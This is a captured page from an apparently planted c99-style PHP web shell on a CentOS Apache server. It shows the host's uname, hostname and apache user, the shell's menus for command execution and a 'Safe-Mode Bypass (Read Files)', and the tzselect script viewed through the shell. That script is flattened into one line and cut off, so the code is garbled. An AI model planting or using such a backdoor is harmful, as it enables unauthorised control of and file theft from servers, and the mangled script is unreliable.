Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: tzselect (6.73 KB) -rwxr-xr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | #! /bin/sh # '@(#)tzselect.ksh 1.8' # Ask the user about the time zone, and output the resulting TZ value to stdout. # Interact with the user via stderr and stdin. # Contributed by Paul Eggert. # Porting notes: # # This script requires several features of the Korn shell. # If your host lacks the Korn shell, # you can use either of the following free programs instead: # # # Bourne-Again shell (bash) # # # # Public domain ksh # # # This script also uses several features of modern awk programs. # If your host lacks awk, or has an old awk that does not conform to Posix.2, # you can use either of the following free programs instead: # # # GNU awk (gawk) # # # # mawk # # Specify default values for environment variables if they are unset. : ${AWK=awk} : ${TZDIR=/usr/share/zoneinfo} # Check for awk Posix compliance. ($AWK -v x=y 'BEGIN { exit 123 }') /dev/null 2>&1 [ $? = 123 ] || { echo >&2 "$0: Sorry, your \`$AWK' program is not Posix compatible." exit 1 } # Make sure the tables are readable. TZ_COUNTRY_TABLE=$TZDIR/iso3166.tab TZ_ZONE_TABLE=$TZDIR/zone.tab for f in $TZ_COUNTRY_TABLE $TZ_ZONE_TABLE do <$f || { echo >&2 "$0: time zone files are not set up correctly" exit 1 } done newline=' ' IFS=$newline # Work around a bug in bash 1.14.7 and earlier, where $PS3 is sent to stdout. case $(echo 1 | (select x in x; do break; done) 2>/dev/null) in ?*) PS3= esac # Begin the main loop. We come back here if the user wants to retry. while echo >&2 'Please identify a location' \ 'so that time zone rules can be set correctly.' continent= country= region= # Ask the user for continent or ocean. echo >&2 'Please select a continent or ocean.' select continent in \ Africa \ Americas \ Antarctica \ 'Arctic Ocean' \ Asia \ 'Atlantic Ocean' \ Australia \ Europe \ 'Indian Ocean' \ 'Pacific Ocean' \ 'none - I want to specify the time zone using the Posix TZ format.' do case $continent in '') echo >&2 'Please enter a number in range.';; ?*) case $continent in Americas) continent=America;; *' '*) continent=$(expr "$continent" : '\([^ ]*\)') esac break esac done case $continent in '') exit 1;; none) # Ask the user for a Posix TZ string. Check that it conforms. while echo >&2 'Please enter the desired value' \ 'of the TZ environment variable.' echo >&2 'For example, GST-10 is a zone named GST' \ 'that is 10 hours ahead (east) of UTC.' read TZ $AWK -v TZ="$TZ" 'BEGIN { tzname = "[^-+,0-9][^-+,0-9][^-+,0-9]+" time = "[0-2]?[0-9](:[0-5][0-9](:[0-5][0-9])?)?" offset = "[-+]?" time date = "(J?[0-9]+|M[0-9]+\.[0-9]+\.[0-9]+)" datetime = "," date "(/" time ")?" tzpattern = "^(:.*|" tzname offset "(" tzname \ "(" offset ")?(" datetime datetime ")?)?)$" if (TZ ~ tzpattern) exit 1 exit 0 }' do echo >&2 "\`$TZ' is not a conforming" \ 'Posix time zone string.' done TZ_for_date=$TZ;; *) # Get list of names of countries in the continent or ocean. countries=$($AWK -F'\t' \ -v continent="$continent" \ -v TZ_COUNTRY_TABLE="$TZ_COUNTRY_TABLE" \ ' /^#/ { next } $3 ~ ("^" continent "/") { if (!cc_seen[$1]++) cc_list[++ccs] = $1 } END { while (getline |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]-- |